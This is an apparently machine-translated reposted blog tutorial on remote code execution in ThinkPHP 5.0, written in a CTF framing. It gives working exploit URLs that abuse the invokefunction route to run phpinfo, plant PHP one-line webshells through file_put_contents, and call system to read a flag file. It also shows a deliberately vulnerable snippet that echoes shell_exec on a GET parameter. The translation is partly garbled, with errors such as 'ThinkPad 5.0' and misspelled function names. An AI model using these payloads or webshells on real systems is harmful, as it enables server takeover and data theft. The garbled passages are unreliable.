RCEの脆弱性のリモート実行、コマンドの基本学習

ThinkPad 5.0 RCEの脆弱性

1つは、ペイロードを直接作成する

ペイロードとcatコマンドの取得およびビルドでトロイの木馬を作成する方法


执行payload
//①
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
//②
写一句话木马在get中直接用//即利用function=vars[0]=“命令内容1”&vars[1][0]="命令内容2"&vars[1][1]="命令内容3"状况
//①利用post写
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["a"]);?>

//②利用reauest代写
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

②catコマンドを使用してフラグをキャプチャする

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27//思考勾搭cat命令抓取思路

第二に、原則

  1. 一般的なシステムにおけるコマンド実行の脆弱性
    悪用方法:
    pingを実行できるもの、またはevalコマンドを送信できるテキストボックスを用意する
    ここに画像の説明を挿入
  2. システムは、
    PHP環境で言語の抜け穴の実行を許可します
    ここに画像の説明を挿入

バグに注意する

1.システムが実行を許可するコマンド機能の違い
①。一般的な使用方法とexecとシェルの違い
一般的な使用方法

exec($cmd.' 2>&1',$output,$status);
//$cmd:shell脚本

//2>&1:表示shell脚本执行过程中的错误信息会被输出

//$output:数组格式,用于存储2>&1输出的错误信息

//$status:shell脚本的执行状态,0表示成功,其他都表示失败

$result = shell_exec($cmd);
//$cmd:shell脚本
//$result:shell脚本的执行结果

違い:

  1. execはステータス値を返すだけで、出力値を引用する変数を定義する必要はありません(シェルはすべての値を出力する変数を必要とします)
  2. execは1つだけを出力し、shell_execはすべてを出力します
shell_exec
<?php
$cmd = $_GET['name'];
echo shell_exec($cmd);
?>//(返回的是all的值,exec只返回一个 )且语句类可以构造正则御语句执行状况
//如$cmd = shell_exec('ping ' . $taeget);



②systemとpassthru()
関数の違い:与えられたパラメータのコマンドを実行して直接結果を出力

//passthru直接将结果输出到浏览器,其可以输出二进制,比如图像数据
<?php
passthru("ls");
?>//pasyhur的使用类
<?php
system("ls /");//system的使用
?>

おすすめ

転載: blog.csdn.net/qq_33942040/article/details/106623641